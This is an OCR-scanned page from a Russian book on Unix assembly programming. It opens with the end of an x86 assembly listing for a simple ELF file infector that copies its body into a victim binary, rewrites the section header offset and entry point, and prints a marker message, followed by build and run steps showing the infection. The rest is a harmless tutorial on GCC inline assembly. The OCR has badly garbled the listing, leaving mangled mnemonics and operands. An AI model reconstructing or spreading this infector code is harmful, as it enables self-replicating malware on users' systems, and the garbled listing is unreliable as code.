Анимация
JavaScript
|
Главная Библионтека xorl raovl int crapl jae movl looper: -pushl movl raovl call pushl raovl raovl raovl call popl popl loop %ecx, %ecx $0x13, %eax $0x80 $0xfffff001, %eax errorl oldpoint, %ecx %ecx $buffer, %ecx $0x1, %edx f read %ebx tmphandle, %ebx $buffer, %ecx $0x1, %edx fwrite %ebx %ecx looper точка входа поиск в файле запись тела от начала к концу %еЬх tmphandle, %ebx $bodystart, %есх $ (bodyend-bodystart), %edx fwrite %ebx %ecx %ecx $buffer, %ecx $0x1, ledx f read %ebx tmphandle, %ebx $buffer, %ecx $0x1, %edx fwrite %ebx %ecx looper2 fclose pushl raovl raovl raovl call popl добавляем popl looper2: pushl raovl movl call pushl raovl raovl raovl call popl popl loop call ставим новое смещение секции таблицы заголовков raovl traphandle, %ebx raovl $0x20, %ecx xorl ledx, %edx call fseek raovl $newshoff, %ecx raovl $0x4, %edx call fread addl $(bodyend-bodystart) , newshoff raovl $0x20, %ecx xorl %edx, %edx call fseek movl $newshoff, %ecx raovl $0x4, %edx call fwrite новая точка входа raovl $0x18, %ecx
syratpos oldpoint закрываем файлы close: call jrap erro-rl : xorl raovl raovl call fclose ne %ebx, %ebx $message, %ecx $0x5, %edx fwrite xorl raovl int bodystart: call get ip: popl subl movl raovl addl xorl raovl int movl addl movl call address ; .long 0 shere; .string " bodyend: error: crapl fread: raovl int call *ebx, %ebx stdout $0x1, %eax $0x80 get ip lebp $0x5, %ebp $Oxa, ledx $(shere-bodystart), %ecx %ebp, %ecx %ebx, %ebx $0x4, %eax $0x80 $ (address-bodystart), %ebx %ebp, %ebx (%ebx), %eax *%eax Im here!\n $0xfffff001, %eax errorl $0x03, %eax $0x80 error
Компиляция: $ as -s victim.s -о victim.о $ Id -s victim.о -о victim $ as -s vir.s -o vir $ Id -s vir.о -о vir Запуск профаммы (на экране появится следующее): $ ./victim Oh, no! Why me?! $ ./infector $ ./infectvictim Im here ! Oh, no! Why me?! 413. Использование Inline-ассемблерных вставок при использовании inline ассемблера при написании профамм под Unix-системы ачивается возможность легкого портирования приложений на другие архитектуры, так как в этом случае нужны знания ассемблера используемых процессоров. Однако иногда появляется необходимость в ислользовании одновременно двух языков для написания профамм - С и Ассемблера. Для таких случаев компилятор GCC поддерживает встраиваемые ассемблерные инструкции. Существует несколько вариантов (с использованием дополнительных параметров и без): а использование инструкций inline ассемблера в теле профаммы, щ использование инструкций ассемблера в качестве параметров к функции asm(). В последнем случае не нужно никаких специфических знаний inline-ассемблера, так как в качестве параметра используется обычный текст профаммы (здесь имеется в виду, что используется только первый параметр к функции, оставшиеся, необходимые уже как mline-ассемблер, не используются). Мы уже использовали такой вариант ассемблера, когда нам нужно было получить указатель вершины стека для написания exploit: get sp(void) ! asm ("movl %esp,%eax"); В данном примере мы использовали только первый параметр к функции asm(). В слу чае нескольких параметров последние разделяются двоеточием: asm( assembler template :output operands (optional) :input operands (optional) .list of clobbered registers (optional) Здесь в качестве первого параметра - ассемблерные инструкции, второй - выходны операнды, третий - входные операнды, четвертый - те регистры, которые могут быт изменены в поле assembler template и не должны быть изменены компилятором. В качестве параметров со второго по четвертый необходимо использовать следук Чую таблицу: (ЕАХ, EBX, ЕСХ, EDX, ESI, EDI, EBP, ESP) (EAX, EBX, ECX, EDX) Floating-point t Тор floating-point и Second-from-top floating-point а ЕАХ b ЕВХ с ЕСХ d EDX X SSE register (Streaming SIMD Extension) у MMX multimedia A An 8-byte value formed from EAX and EDX D EDI S ESI Самый простой пример Inline-ассемблера: int a=10,b; asm("movl %1, %%eax; movl %%eax, %0;" :"=r"(b) выходной параметр :"r"(a) входной параметр :"%eax" регистр (см. ниже) В этом примере мы приравниваем переменную b к переменной а, используя встр: ваемый ассемблер. Здесь Ь - выходной операнд, описанный номером регистра %0,; входной операнд, описанный номером регистра %1, г - принудительная конструкщи. заставляющая gcc считать, что переменные а и b должны храниться в регистрах, = перед использованием такой конструкции говорит о том, что это выходной параметр и он также должен храниться в регистре. Чтобы отличить передаваемые входящие/выходящие операнды (описываются как % и номер операнда) от регистра %еах, последний должен выглядеть как %%еах. Указывая в качестве четвертого параметра в функции asm регистр %еах, мы говорим компилятору GCC, что данный регистр уже используется в секции assembler template и не стоит его модифицировать при компиляции. movl %1, %%еах помещает переменную а в регистр % еах. movl %%еах,%0 помещает значение из % е а х в переменную b. После того, как asm будет выполнена, в переменной b будет находиться новое значение, так как эта переменная была указана в качестве выходного параметра. Иначе говоря все изменения переменных внутри asm сохраняются и после исполнения функции. Подробнее о полях asm. Assembler template. В этом поле находится ассемблерная функция или набор функ-й которые следует использовать в профамме на языке С. Этот набор инструкций 1Уючается в двойные кавычки, при этом инструкции должны быть отделены друг от "vra. В качестве разделителя можно использовать как точку с запятой, так и символ овой строки (\п). Стоит заметить, что при компиляции можно создавать ассемблерный Аайл, удобство чтения которого можно повысить, используя знаки табуляции. В этом cjiy4ae следует использовать их до знаков начала новой строки. Инструкции, обращающиеся к переменным, описанным в С-профамме, должны использовать обозначения таких переменных, как было описано ранее: %0, %1... Компилятор иногда пытается оптимизировать передаваемый ему код. Для того чтобы это-РО не происходило, нужно использовать выражение "volatile". Если компилятор стандарта дМ81 С, то перед и после использования выражений "asm" и "volatile" следует использовать двойное подчеркивание: asm volatile . Операнды. Главная особенность inline-ассемблера - это возможность использования операндов, описанных еще в С профамме. Всего передаваемых операндов может быть не больще 10. Каждый из них нумеруется, начиная с О, при этом не выделяется, какие операнды входные, какие выходные. В секции, описывающей операнды, может находиться несколько операндов, каждый из которых должен быть обязательно отделен от других запятой. Работа с памятью. В рассмотренных примерах для хранения операндов в регистрах использовался описатель г. Для того чтобы хранить данные в памяти, используется описатель т: sidt %0\n" "m"(loc) ) Использование памяти для хранения операндов в inline-ассемблере используется редко. Скорее, для того, чтобы не использовать регистры, что порой достаточно важно при написании exploit-профамм. Совпадение. Сразу рассмотрим пример: asm("incl %0" (var) >0" В данном случае используется пока не известный нам описатель "О". Причем его правильнее назвать не описателем, а "принудителем". В качестве первого операнда используется выходная переменная var. Ее порядковый номер %0. В качестве входной переменной используется та же переменная, указав "принудителем" "О", мы заставляем GCC использовать в качестве хранящего регистра тот регистр %еах, что и для выходного операнда, что позволяет сэкономить используемые ресурсы и увеличить быстродействие (в архитектуре IA386 все операции с регистром еах осуществляются быстрее, нежели с другими регистрами). 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 [ 48 ] 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 |